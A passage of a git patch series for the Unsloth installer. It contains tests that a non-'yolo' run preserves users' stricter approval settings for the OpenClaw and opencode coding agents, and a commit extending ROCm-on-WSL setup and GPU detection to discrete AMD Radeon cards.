+def test_openclaw_non_yolo_preserves_stricter_exec_policy(tmp_path):
+    # A policy that doesn't carry the yolo values (for example stricter security or
+    # prompting turned on) was not written by --yolo and must survive a plain run.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"security": "deny", "ask": "on"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"security": "deny", "ask": "on"}
+
+
+def test_openclaw_non_yolo_preserves_stricter_approval_defaults(tmp_path):
+    # exec-approvals.json defaults that don't match the yolo payload (stricter
+    # settings from the user or the OpenClaw UI) are kept, and the file stays.
+    path = tmp_path / "openclaw.json"
+    approvals = path.parent / "exec-approvals.json"
+    approvals.write_text(
+        json.dumps({"version": 1, "defaults": {"security": "allowlist", "ask": "on"}})
+    )
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    state = json.loads(approvals.read_text())
+    assert state["defaults"] == {"security": "allowlist", "ask": "on"}
+
+
+def test_openclaw_non_yolo_leaves_unparseable_approvals(tmp_path):
+    # An unreadable approvals file is left in place rather than deleted, matching
+    # how an unparseable config is handled.
+    path = tmp_path / "openclaw.json"
+    approvals = path.parent / "exec-approvals.json"
+    approvals.write_text("{not json")
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert approvals.read_text() == "{not json"
+
+
+def test_opencode_non_yolo_flips_only_explicit_allow(tmp_path):
+    # Only a tool explicitly set to "allow" (what --yolo writes) is flipped to "ask". A
+    # deny/ask a user set is kept, and an absent tool is not added.
+    path = tmp_path / "opencode.json"
+    path.write_text(json.dumps({"permission": {"edit": "allow", "bash": "deny", "read": "ask"}}))
+    session = start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["permission"] == {"edit": "ask", "bash": "deny", "read": "ask"}
+    assert session == {}  # a non-yolo session carries no permission inline
+
+
+def test_opencode_non_yolo_leaves_string_permission(tmp_path):
+    # A global string rule ("deny") is a user-managed catch-all; leave it untouched and
+    # carry no inline override.
+    path = tmp_path / "opencode.json"
+    path.write_text(json.dumps({"permission": "deny"}))
+    session = start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert json.loads(path.read_text())["permission"] == "deny"
+    assert session == {}
+
+
+def test_opencode_non_yolo_leaves_catch_all_and_flips_explicit_allow(tmp_path):
+    # A "*" catch-all is the user's own rule, never something --yolo writes (yolo sets
+    # explicit per-tool allow), so it is left intact; an explicit per-tool "allow" is still
+    # flipped to "ask", but an absent tool inheriting the catch-all is not touched.
+    path = tmp_path / "opencode.json"
+    path.write_text(json.dumps({"permission": {"*": "allow", "bash": "allow"}}))
+    session = start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert json.loads(path.read_text())["permission"] == {"*": "allow", "bash": "ask"}
+    assert session == {}
+
+
+def test_opencode_non_yolo_leaves_granular_object(tmp_path):
+    # A granular object value is a user rule (yolo only ever writes a plain "allow" string),
+    # so it is left in the file verbatim and never carried inline.
+    path = tmp_path / "opencode.json"
+    obj = {"read *": "deny", "git *": "ask"}
+    path.write_text(json.dumps({"permission": {"bash": dict(obj)}}))
+    session = start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert json.loads(path.read_text())["permission"]["bash"] == obj
+    assert session == {}
+
+
+def test_openclaw_non_yolo_leaves_mode_policy(tmp_path):
+    # tools.exec.mode is OpenClaw's normalized knob and cannot be combined with explicit
+    # security/ask (the config is rejected), so a mode-based policy must be left as-is.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"mode": "deny"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"mode": "deny"}
+
+
+def test_openclaw_non_yolo_preserves_sandbox_host(tmp_path):
+    # host=sandbox defaults to security=deny (stricter than the gateway "full" default),
+    # so a non-yolo run must not treat the missing security as permissive nor pop host
+    # (which would broaden routing to the gateway).
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"host": "sandbox"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"host": "sandbox"}
+
+
+def test_openclaw_non_yolo_preserves_node_host(tmp_path):
+    # host=node routes to a paired node and is only ever set by the user (--yolo writes
+    # host=gateway), so a non-yolo run must not pop it and reroute to the gateway.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"host": "node"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"host": "node"}
+
+
+def test_openclaw_non_yolo_preserves_auto_host_permissive(tmp_path):
+    # host=auto (or omitted) with security=full/ask=off is NOT the --yolo write: under an
+    # active sandbox, auto resolves to security=deny. --yolo only ever writes host=gateway,
+    # so the reset must not treat auto/None as the permissive gateway default and broaden a
+    # sandboxed deny to allowlist.
+    for exec_policy in (
+        {"host": "auto", "security": "full", "ask": "off"},
+        {"security": "full", "ask": "off"},
+    ):
+        path = tmp_path / "openclaw.json"
+        path.write_text(json.dumps({"tools": {"exec": dict(exec_policy)}}))
+        start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+        config = json.loads(path.read_text())
+        assert config["tools"]["exec"] == exec_policy
+
+
+def test_openclaw_non_yolo_resets_only_gateway_yolo_fingerprint(tmp_path):
+    # The reset fires on exactly the host=gateway + security=full + ask=off write --yolo
+    # makes, and nothing else.
+    path = tmp_path / "openclaw.json"
+    path.write_text(
+        json.dumps({"tools": {"exec": {"host": "gateway", "security": "full", "ask": "off"}}})
+    )
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"security": "allowlist", "ask": "on-miss"}
+
+
+def test_openclaw_non_yolo_preserves_full_mode(tmp_path):
+    # OpenClaw never normalizes our security=full/ask=off yolo write into mode:"full"
+    # (verified against the binary: doctor --fix and config get leave security/ask as-is),
+    # so a mode:"full" is always a deliberate user policy, not stale yolo state; leave it.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"mode": "full"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"mode": "full"}
+
+
 def test_yolo_command_flags_unmapped_agent_is_empty():
     # Config-based agents (and any typo) must yield no flag, not a KeyError.
     assert start._yolo_command_flags("opencode", True) == []

From 296cacb5a176a31fce91b4ef90ed1a044dfc4fa5 Mon Sep 17 00:00:00 2001
From: Leo Borcherding <borchborchmail@gmail.com>
Date: Tue, 7 Jul 2026 04:29:37 -0500
Subject: [PATCH 230/306] ROCm-on-WSL: support discrete Radeon (RDNA 3/4) in
 WSL, not just Strix Halo (#6915)

* WSL ROCm: generalize ROCm-on-WSL bootstrap from Strix-only to any RDNA arch

install_rocm_wsl_strixhalo.sh hardcoded gfx1151, so its verify step died on
discrete Radeon cards even though the ROCm + librocdxg setup is arch-agnostic.
Auto-detect the GPU arch from rocminfo (override via UNSLOTH_WSL_GFX), verify any
GPU agent enumerates over DXG, and map the arch to AMD's per-arch wheel family for
the optional smoke test (injecting librocdxg into torch/lib so torch's bundled
ROCr finds the DXG bridge). Verified on gfx1200 (Radeon RX 9060 XT) in WSL2 +
Ubuntu 24.04 -- torch.cuda now enumerates the GPU.

* WSL ROCm: trigger the ROCm-on-WSL bootstrap for discrete Radeon GPUs too

_maybe_bootstrap_rocm_wsl only fired for Strix APUs (matched via /proc/cpuinfo,
which discrete cards don't appear in). Add _wsl_amd_gpu_name() -- queries the
Windows host via WMI -- and broaden the trigger gate plus the 'already-usable
ROCm' rocminfo check from gfx1151-only to any real GPU agent (gfxNNNN, excluding
the gfx11-generic fallback ISA). The generalized bootstrap then auto-detects the
arch. Enables 'curl install.sh | sh' to set up ROCm-on-WSL on discrete Radeon RX
7000/9000 in WSL2 + Ubuntu 24.04, not just Strix Halo/Point.

* WSL ROCm: address review -- filter generic ISA in bootstrap, bound the host GPU query

- install_rocm_wsl_strixhalo.sh: exclude the gfx11-generic fallback ISA in arch
  detection (grep -v generic), matching install.sh's rocminfo check, so a generic
  agent listed before the real one can't be picked as the arch.
- install.sh: wrap the powershell.exe Win32_VideoController query in _run_bounded
  (10s timeout) so an unstable WSL-interop / busy host can't hang the installer.

* WSL ROCm: harden arch-detect + librocdxg copy under set -eo pipefail (review)

- _detected_gfx: append '|| true' so a no-GPU rocminfo (empty pipeline, non-zero
  under pipefail) doesn't abort the assignment before the '[ -z ]' branch prints
  the diagnostic + die message.
- smoke-test librocdxg copy: gate on '[ -d "$_tlib" ]' instead of '[ -n ]' so a
  non-directory value can't make cp rename librocdxg to 'lib'.

* WSL ROCm: address Codex review (gfx000, 24.04 reroute for discrete, test locator)

- Exclude gfx000 (the CPU agent) from the WSL 'usable ROCm' check and the bootstrap
  arch-detect: match gfx[1-9] (nonzero arch), so a partial ROCm install that only
  reports the CPU ISA no longer short-circuits the librocdxg setup. (P2)
- Reuse the Ubuntu-24.04 reroute for discrete Radeon: broaden
  _maybe_reroute_strixhalo_to_2404's gate with the same _wsl_amd_gpu_name (WMI)
  fallback, so a discrete card on 26.04 reroutes to a 24.04 distro like Strix does
  instead of falling to CPU. Moved _wsl_amd_gpu_name above the reroute and made it
  self-contained + 10s-bounded (it runs before _run_bounded is defined). (P2)
- Update TestInstallShDropinPersistence to locate the gate by its unique
  '!/generic/' clause now that the gfx1151 literal is gone. (P1)

* Condense ROCm-on-WSL comments in install.sh and bootstrap helper

* Guard WSL reroute from NVIDIA hybrid hosts and fix GFX-override pipefail check

* Honor CUDA_VISIBLE_DEVICES-hidden NVIDIA in the WSL reroute guard

* Reuse _has_usable_nvidia_gpu in the WSL reroute guard

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 install.sh                                | 162 +++++++++++++---------
 scripts/install_rocm_wsl_strixhalo.sh     |  57 +++++---
 tests/studio/install/test_rocm_support.py |  48 ++++++-
 3 files changed, 182 insertions(+), 85 deletions(-)

diff --git a/install.sh b/install.sh
index 81c50bc899..14fbba478d 100755
--- a/install.sh
+++ b/install.sh
@@ -1483,6 +1483,81 @@ elif [ "$OS" = "macos" ]; then
 fi
 tauri_diag_marker "$_TAURI_INITIAL_GPU_BRANCH" "none"
 
+# AMD GPU name from the Windows host via WMI, or empty. Discrete cards aren't in
+# /proc/cpuinfo, so ask Windows. Cached ("-" = negative), self-contained, bounded
+# to 10s. Defined here so the reroute below can use it before _run_bounded exists.
+_WSL_AMD_GPU_NAME_CACHE=""
+_wsl_amd_gpu_name() {
+    if [ -n "$_WSL_AMD_GPU_NAME_CACHE" ]; then
+        [ "$_WSL_AMD_GPU_NAME_CACHE" = "-" ] && return 1
+        printf '%s' "$_WSL_AMD_GPU_NAME_CACHE"; return 0
+    fi
+    command -v powershell.exe >/dev/null 2>&1 || { _WSL_AMD_GPU_NAME_CACHE="-"; return 1; }
+    _wag_ps="(Get-CimInstance Win32_VideoController | Where-Object { \$_.Name -match 'AMD|Radeon' } | Select-Object -First 1).Name"
+    if command -v timeout >/dev/null 2>&1; then
+        _wag_n="$(timeout 10 powershell.exe -NoProfile -Command "$_wag_ps" 2>/dev/null | tr -d '\r\n\000')"
+    else
+        _wag_n="$(powershell.exe -NoProfile -Command "$_wag_ps" 2>/dev/null | tr -d '\r\n\000')"
+    fi
+    if [ -n "$_wag_n" ]; then _WSL_AMD_GPU_NAME_CACHE="$_wag_n"; printf '%s' "$_wag_n"; return 0; fi
+    _WSL_AMD_GPU_NAME_CACHE="-"; return 1
+}
+
+# ── Bounded command runner ──
+# Runs a command under a 10s timeout when the `timeout` binary is available,
+# otherwise runs it unbounded. Keeps a wedged nvidia-smi (blocking during
+# driver init or after a reset) from hanging the installer: a timed-out probe
+# exits nonzero and is treated exactly like a failed probe. No-op semantics on
+# hosts without `timeout` (e.g. macOS) or when the probe is healthy.
+_run_bounded() {
+    if command -v timeout >/dev/null 2>&1; then
+        timeout 10 "$@"
+    else
+        "$@"
+    fi
+}
+
+# Returns 0 (true) when CUDA_VISIBLE_DEVICES is set to "" or "-1", i.e. every
+# NVIDIA device is deliberately hidden (mixed AMD+NVIDIA hosts steering work to
+# the AMD card). Unset means all devices visible. nvidia-smi ignores this env
+# var, so the probes below cannot see the distinction on their own.
+_cvd_hides_nvidia() {
+    [ "${CUDA_VISIBLE_DEVICES+set}" = "set" ] || return 1
+    _cvd_trim=$(printf '%s' "$CUDA_VISIBLE_DEVICES" | tr -d '[:space:]')
+    [ -z "$_cvd_trim" ] || [ "$_cvd_trim" = "-1" ]
+}
+
+# ── NVIDIA usable-GPU helper ──
+# Returns 0 (true) if an NVIDIA GPU is present and usable.
+# Primary probe: nvidia-smi -L. Fallback: /proc/driver/nvidia/gpus/ sysfs,
+# which the NVIDIA driver populates on Linux regardless of nvidia-smi state
+# -- handles PATH gaps, subprocess timeouts, and driver init races that
+# could otherwise cause nvidia-smi to fail and silence NVIDIA detection.
+# A GPU hidden via CUDA_VISIBLE_DEVICES=""/-1 counts as NOT usable (matches
+# install_llama_prebuilt.py has_usable_nvidia), so AMD/CPU routing still runs.
+_has_usable_nvidia_gpu() {
+    if _cvd_hides_nvidia; then
+        return 1
+    fi
+    _nvsmi=""
+    if command -v nvidia-smi >/dev/null 2>&1; then
+        _nvsmi="nvidia-smi"
+    elif [ -x "/usr/bin/nvidia-smi" ]; then
+        _nvsmi="/usr/bin/nvidia-smi"
+    fi
+    if [ -n "$_nvsmi" ]; then
+        if _run_bounded "$_nvsmi" -L 2>/dev/null | awk '/^GPU[[:space:]]+[0-9]+:/{found=1} END{exit !found}'; then
+            return 0
+        fi
+    fi
+    # Fallback: NVIDIA driver exposes one subdir per GPU under this path.
+    if [ -d /proc/driver/nvidia/gpus ] && \
+       [ -n "$(ls -A /proc/driver/nvidia/gpus 2>/dev/null)" ]; then
+        return 0
+    fi
+    return 1
+}
+
 # Strix Halo ROCm-on-WSL only targets Ubuntu 24.04. On a newer distro (e.g. 26.04)
 # with a 24.04 distro present, re-run the install there and stop; else fall through
 # to CPU + the `wsl --install` hint below (never auto-create a distro). Runs before
@@ -1493,7 +1568,15 @@ _maybe_reroute_strixhalo_to_2404() {
     [ "${UNSLOTH_SKIP_ROCM_WSL_SETUP:-0}" = "1" ] && return 0
     [ "${UNSLOTH_WSL_REROUTED:-0}" = "1" ] && return 0
     [ -e /dev/dxg ] || return 0
-    grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null || return 0
+    # A usable NVIDIA GPU (common on hybrid AMD+NVIDIA hosts) means the CUDA path works on
+    # this distro, so don't reroute for AMD. _has_usable_nvidia_gpu (moved above) honors
+    # CUDA_VISIBLE_DEVICES=""/-1 and the /proc/driver/nvidia fallback for PATH/timeout gaps.
+    if _has_usable_nvidia_gpu; then return 0; fi
+    # Strix APUs show in /proc/cpuinfo; discrete cards don't, so also try WMI. Either reroutes.
+    if ! grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null \
+       && ! _wsl_amd_gpu_name >/dev/null 2>&1; then
+        return 0
+    fi
     # Already ROCm-on-WSL? leave a working GPU alone, whatever the version.
     if [ -e /opt/rocm/lib/librocdxg.so ] || [ -e /opt/rocm/lib64/librocdxg.so ]; then
         return 0
@@ -1959,61 +2042,6 @@ _has_amd_rocm_gpu() {
     return 1
 }
 
-# ── Bounded command runner ──
-# Runs a command under a 10s timeout when the `timeout` binary is available,
-# otherwise runs it unbounded. Keeps a wedged nvidia-smi (blocking during
-# driver init or after a reset) from hanging the installer: a timed-out probe
-# exits nonzero and is treated exactly like a failed probe. No-op semantics on
-# hosts without `timeout` (e.g. macOS) or when the probe is healthy.
-_run_bounded() {
-    if command -v timeout >/dev/null 2>&1; then
-        timeout 10 "$@"
-    else
-        "$@"
-    fi
-}
-
-# Returns 0 (true) when CUDA_VISIBLE_DEVICES is set to "" or "-1", i.e. every
-# NVIDIA device is deliberately hidden (mixed AMD+NVIDIA hosts steering work to
-# the AMD card). Unset means all devices visible. nvidia-smi ignores this env
-# var, so the probes below cannot see the distinction on their own.
-_cvd_hides_nvidia() {
-    [ "${CUDA_VISIBLE_DEVICES+set}" = "set" ] || return 1
-    _cvd_trim=$(printf '%s' "$CUDA_VISIBLE_DEVICES" | tr -d '[:space:]')
-    [ -z "$_cvd_trim" ] || [ "$_cvd_trim" = "-1" ]
-}
-
-# ── NVIDIA usable-GPU helper ──
-# Returns 0 (true) if an NVIDIA GPU is present and usable.
-# Primary probe: nvidia-smi -L. Fallback: /proc/driver/nvidia/gpus/ sysfs,
-# which the NVIDIA driver populates on Linux regardless of nvidia-smi state
-# -- handles PATH gaps, subprocess timeouts, and driver init races that
-# could otherwise cause nvidia-smi to fail and silence NVIDIA detection.
-# A GPU hidden via CUDA_VISIBLE_DEVICES=""/-1 counts as NOT usable (matches
-# install_llama_prebuilt.py has_usable_nvidia), so AMD/CPU routing still runs.
-_has_usable_nvidia_gpu() {
-    if _cvd_hides_nvidia; then
-        return 1
-    fi
-    _nvsmi=""
-    if command -v nvidia-smi >/dev/null 2>&1; then
-        _nvsmi="nvidia-smi"
-    elif [ -x "/usr/bin/nvidia-smi" ]; then
-        _nvsmi="/usr/bin/nvidia-smi"
-    fi
-    if [ -n "$_nvsmi" ]; then
-        if _run_bounded "$_nvsmi" -L 2>/dev/null | awk '/^GPU[[:space:]]+[0-9]+:/{found=1} END{exit !found}'; then
-            return 0
-        fi
-    fi
-    # Fallback: NVIDIA driver exposes one subdir per GPU under this path.
-    if [ -d /proc/driver/nvidia/gpus ] && \
-       [ -n "$(ls -A /proc/driver/nvidia/gpus 2>/dev/null)" ]; then
-        return 0
-    fi
-    return 1
-}
-
 # ── Detect GPU and choose PyTorch index URL ──
 # Mirrors Get-TorchIndexUrl in install.ps1.
 # On CPU-only machines this returns the cpu index, avoiding the solver
@@ -2327,19 +2355,19 @@ _persist_rocm_wsl_dropin() {
     fi
 }
 
+# _wsl_amd_gpu_name is defined earlier so both the reroute and this bootstrap can use it.
 _maybe_bootstrap_rocm_wsl() {
     [ "${OS:-}" = "wsl" ] || return 0
     [ "${SKIP_TORCH:-false}" = "false" ] || return 0
     [ "${UNSLOTH_SKIP_ROCM_WSL_SETUP:-0}" = "1" ] && return 0
     # Leave any already-usable GPU completely alone (NVIDIA, or working ROCm).
     if _has_usable_nvidia_gpu; then return 0; fi
-    # "Usable ROCm" here = rocminfo enumerates the gfx1151 agent. Don't use the
-    # generic _has_amd_rocm_gpu: its broad gfx match accepts "gfx11-generic" and
-    # would skip this bootstrap while the real GPU is still unusable. awk consumes
-    # all input, so rocminfo isn't SIGPIPE'd like `grep -q` would under pipefail.
+    # Usable ROCm = rocminfo enumerates a real GPU agent: gfx[1-9] (excludes gfx000,
+    # the CPU agent) and not the "gfx11-generic" fallback. awk consumes all input so
+    # rocminfo isn't SIGPIPE'd like `grep -q` under pipefail.
     _ensure_rocm_probe_env
     if command -v rocminfo >/dev/null 2>&1 && \
-       rocminfo 2>/dev/null | awk '/Name:[[:space:]]*gfx1151/{found=1} END{exit !found}'; then
+       rocminfo 2>/dev/null | awk '/Name:[[:space:]]*gfx[1-9]/ && !/generic/{found=1} END{exit !found}'; then
         # rocminfo may work only via the transient env _ensure_rocm_probe_env
         # just set, which dies with the installer. Persist the drop-in so login
         # shells (Studio, llama.cpp) inherit it -- else a reinstall over an
@@ -2349,9 +2377,12 @@ _maybe_bootstrap_rocm_wsl() {
     fi
     # WSL GPU passthrough device must exist (present on any WSL2 GPU host).
     [ -e /dev/dxg ] || return 0
-    # Only Strix Halo (gfx1151): rocminfo can't tell us the arch yet, so match
-    # the CPU model string WSL exposes (e.g. "AMD Ryzen AI Max+ ... Radeon 8060S").
-    grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null || return 0
+    # Strix APUs show in /proc/cpuinfo (the CPU model); discrete cards don't, so also
+    # ask the Windows host. Either signal suffices; the bootstrap detects arch from rocminfo.
+    if ! grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null \
+       && ! _wsl_amd_gpu_name >/dev/null 2>&1; then
+        return 0
+    fi
     command -v bash >/dev/null 2>&1 || return 0
 
     # Fast path: already configured (librocdxg present) but launched from a
@@ -2369,7 +2400,8 @@ _maybe_bootstrap_rocm_wsl() {
     fi
 
     echo ""
-    substep "Detected AMD Strix Halo (Radeon 8000S) in WSL with no ROCm runtime yet." "$C_WARN"
+    _rw_gpu="$(_wsl_amd_gpu_name 2>/dev/null || true)"; [ -n "$_rw_gpu" ] || _rw_gpu="an AMD GPU"
+    substep "Detected ${_rw_gpu} in WSL with no ROCm runtime yet." "$C_WARN"
     substep "Setting up ROCm-on-WSL (ROCm 7.2 + librocdxg) automatically to enable this GPU."
     substep "One-time, uses sudo and a large download. (skip: re-run with UNSLOTH_SKIP_ROCM_WSL_SETUP=1)"
 
diff --git a/scripts/install_rocm_wsl_strixhalo.sh b/scripts/install_rocm_wsl_strixhalo.sh
index 5ef9ee386a..aa560fc432 100644
--- a/scripts/install_rocm_wsl_strixhalo.sh
+++ b/scripts/install_rocm_wsl_strixhalo.sh
@@ -3,13 +3,14 @@
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 #
 # ──────────────────────────────────────────────────────────────────────────────
-# Enable ROCm-on-WSL for AMD Strix Halo (Radeon 8060S / gfx1151)
+# Enable ROCm-on-WSL for AMD GPUs (Strix Halo/Point APUs AND discrete Radeon RX
+# 7000/9000). Verified on gfx1151 (Radeon 8060S) and gfx1200 (Radeon RX 9060 XT).
 # ──────────────────────────────────────────────────────────────────────────────
-# install.sh already routes gfx1151 to the right ROCm wheels once a ROCm runtime
-# is present; what it does NOT do is install AMD's ROCm userspace + the WSL DXG
-# bridge. This helper automates that Linux-side prerequisite on Ubuntu 24.04
-# WSL2 and is invoked by install.sh when it sees a Strix Halo APU in WSL (via
-# /dev/dxg) but no ROCm runtime yet. Fully idempotent (re-run just re-verifies).
+# install.sh routes the detected arch to the right ROCm wheels once a runtime exists;
+# what it does NOT do is install AMD's ROCm userspace + the WSL DXG bridge (librocdxg).
+# This helper does that Linux-side prerequisite on Ubuntu 24.04 WSL2, invoked by
+# install.sh when it sees an AMD GPU via /dev/dxg but no ROCm yet. Arch-agnostic: the
+# arch is auto-detected from rocminfo (override UNSLOTH_WSL_GFX=gfx1200). Idempotent.
 #
 # Manual, admin-gated Windows prerequisite: an AMD Adrenalin driver with
 # production ROCDXG/WSL support (26.2.2+). install.ps1 offers to update it. Once
@@ -34,10 +35,12 @@ set -euo pipefail
 
 # ── Tunables (override via env) ──────────────────────────────────────────────
 ROCM_VER="${UNSLOTH_WSL_ROCM_VER:-7.2.1}"            # ROCm release to install
-GFX="gfx1151"
+# GPU arch: empty = auto-detect from rocminfo after install (override UNSLOTH_WSL_GFX=gfx1200).
+# The ROCm + librocdxg setup is arch-agnostic; only verify + the smoke test need the arch.
+GFX="${UNSLOTH_WSL_GFX:-}"
 LIBROCDXG_REF="${UNSLOTH_LIBROCDXG_REF:-develop}"    # ROCm/librocdxg git ref to build
-# AMD's gfx1151 wheel index (same one install.sh uses); only for the smoke test.
-TORCH_INDEX="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}/${GFX}/"
+# AMD's wheel index for the (optional) smoke test; resolved after arch detection.
+TORCH_INDEX=""
 # Optional torch smoke test (throwaway venv). OFF by default: install.sh installs
 # torch itself into the real venv right after, so a duplicate download is wasteful.
 SMOKE_TEST="${UNSLOTH_WSL_SMOKE_TEST:-0}"
@@ -220,12 +223,12 @@ $SUDO ldconfig
 say "Persisting ROCm-on-WSL environment"
 _envfile="/etc/profile.d/unsloth-rocm-wsl.sh"
 $SUDO tee "$_envfile" >/dev/null <<EOF
-# >>> Unsloth ROCm-on-WSL (gfx1151) >>>
+# >>> Unsloth ROCm-on-WSL >>>
 export HSA_ENABLE_DXG_DETECTION=1
 export TORCH_ROCM_AOTRITON_ENABLE_EXPERIMENTAL=1
 export PATH="${ROCM_DIR}/bin:\${PATH}"
 export LD_LIBRARY_PATH="${ROCM_DIR}/lib:\${LD_LIBRARY_PATH:-}"
-# <<< Unsloth ROCm-on-WSL (gfx1151) <<<
+# <<< Unsloth ROCm-on-WSL <<<
 EOF
 # also drop into ~/.bashrc for interactive shells
 if [ -n "${HOME:-}" ] && ! grep -q "Unsloth ROCm-on-WSL" "${HOME}/.bashrc" 2>/dev/null; then
@@ -237,32 +240,50 @@ export PATH="${ROCM_DIR}/bin:${PATH}"
 export LD_LIBRARY_PATH="${ROCM_DIR}/lib:${LD_LIBRARY_PATH:-}"
 
 # ── Step 5: verify the runtime enumerates the GPU ────────────────────────────
-say "Verifying rocminfo sees ${GFX}"
+say "Verifying rocminfo enumerates the GPU over DXG"
 # Capture rocminfo into a var BEFORE grepping: piping into `grep -q` SIGPIPEs
 # rocminfo on first match, which under `set -o pipefail` turns a successful match
-# into a pipeline failure. Match the gfx1151 ISA "Name:" agent exactly (not a
-# broad gfx1[0-9]) so a generic fallback ISA or unrelated RDNA GPU can't pass.
+# into a pipeline failure.
 _rocminfo_out="$(rocminfo 2>/dev/null || true)"
-if ! printf '%s\n' "$_rocminfo_out" | grep -qE "Name:[[:space:]]*${GFX}([^0-9]|$)"; then
+# GPU agents advertise an ISA "Name: gfxNNNN". Match gfx[1-9] (excludes gfx000, the CPU
+# agent), drop the "gfx*-generic" fallback ISA, and take the first real GPU arch.
+_detected_gfx="$(printf '%s\n' "$_rocminfo_out" | grep -E 'Name:[[:space:]]*gfx[1-9]' | grep -v 'generic' | grep -oE 'gfx[1-9][0-9a-z]*' | head -1 || true)"
+if [ -z "$_detected_gfx" ]; then
     printf '%s\n' "$_rocminfo_out" | head -25 >&2 || true
-    die "rocminfo did not enumerate a ${GFX} GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run."
+    die "rocminfo did not enumerate any GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run."
 fi
+# Honour a caller-pinned arch (sanity-check via a consuming grep, not grep -q: under
+# pipefail -q would SIGPIPE printf on large output and misreport the arch); else adopt.
+if [ -n "$GFX" ] && ! printf '%s\n' "$_rocminfo_out" | grep -E "Name:[[:space:]]*${GFX}([^0-9]|$)" >/dev/null; then
+    die "rocminfo enumerated '${_detected_gfx}' but not the requested UNSLOTH_WSL_GFX='${GFX}'."
+fi
+GFX="${GFX:-$_detected_gfx}"
 # Display-only summary: best-effort (|| true) so head's early pipe-close under
 # `set -o pipefail` can't fail the bootstrap after verification already passed.
 printf '%s\n' "$_rocminfo_out" | grep -E 'Marketing Name|Device Type|Compute Unit' | grep -iE "Radeon|GPU|Compute" | head -3 || true
 note "ROCm-on-WSL runtime is live for ${GFX}."
 
-# ── Step 6 (optional): torch smoke test from the gfx1151 index ───────────────
+# ── Step 6 (optional): torch smoke test from AMD's per-arch wheel index ───────
 if [ "$SMOKE_TEST" = "1" ]; then
     say "Smoke-testing PyTorch on ${GFX} (throwaway venv)"
+    # Map the detected arch to AMD's repo.amd.com wheel family index.
+    case "$GFX" in
+        gfx1200|gfx1201)                 _fam="gfx120X-all" ;;
+        gfx1100|gfx1101|gfx1102|gfx1103) _fam="gfx110X-all" ;;
+        *)                               _fam="$GFX" ;;   # gfx1150/gfx1151/gfx90a: own index
+    esac
+    TORCH_INDEX="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}/${_fam}/"
     _venv="${HOME}/.unsloth/rocm-smoketest"
     rm -rf "$_venv"; python3 -m venv "$_venv"
     "$_venv/bin/pip" install --quiet --upgrade pip
-    # gfx1151 index is primary (torch + triton); PyPI only an extra for pure-py
+    # AMD arch index is primary (torch + triton); PyPI only an extra for pure-py
     # deps. The constraint keeps pip on the ROCm wheel, not a newer PyPI CUDA torch.
     "$_venv/bin/pip" install --index-url "$TORCH_INDEX" \
         --extra-index-url https://pypi.org/simple "$TORCH_CONSTRAINT" || \
         die "torch install from ${TORCH_INDEX} failed."
+    # WSL: torch's bundled ROCr must load the DXG bridge -- drop librocdxg into torch/lib.
+    _tlib="$("$_venv/bin/python" -c 'import torch,os;print(os.path.join(os.path.dirname(torch.__file__),"lib"))' 2>/dev/null || true)"
+    [ -d "$_tlib" ] && cp -f "${ROCM_DIR}"/lib/librocdxg.so* "$_tlib"/ 2>/dev/null || true
     "$_venv/bin/python" - <<'PY'
 import torch
 ok = torch.cuda.is_available()
diff --git a/tests/studio/install/test_rocm_support.py b/tests/studio/install/test_rocm_support.py
index c8f2053946..bfc8132683 100644
--- a/tests/studio/install/test_rocm_support.py
+++ b/tests/studio/install/test_rocm_support.py
@@ -3426,8 +3426,9 @@ class TestInstallShDropinPersistence:
     def test_gate5_early_return_persists_dropin(self):
         """The rocminfo-already-works early return must call the persist helper before returning."""
         source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
-        # The persist call must precede `return 0` at the rocminfo gfx1151 gate.
-        gate = source.find("Name:[[:space:]]*gfx1151")
